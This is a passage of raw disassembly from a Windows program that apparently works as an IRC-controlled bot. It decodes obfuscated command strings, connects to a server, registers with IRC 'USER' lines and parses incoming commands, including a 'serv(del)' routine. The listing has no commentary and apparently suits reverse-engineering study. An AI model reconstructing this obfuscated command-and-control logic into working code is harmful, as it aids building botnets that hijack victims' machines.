		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 27F0C4Bh
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2850369h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 2850369h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		nop
		call	near ptr 27F0C4Bh
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
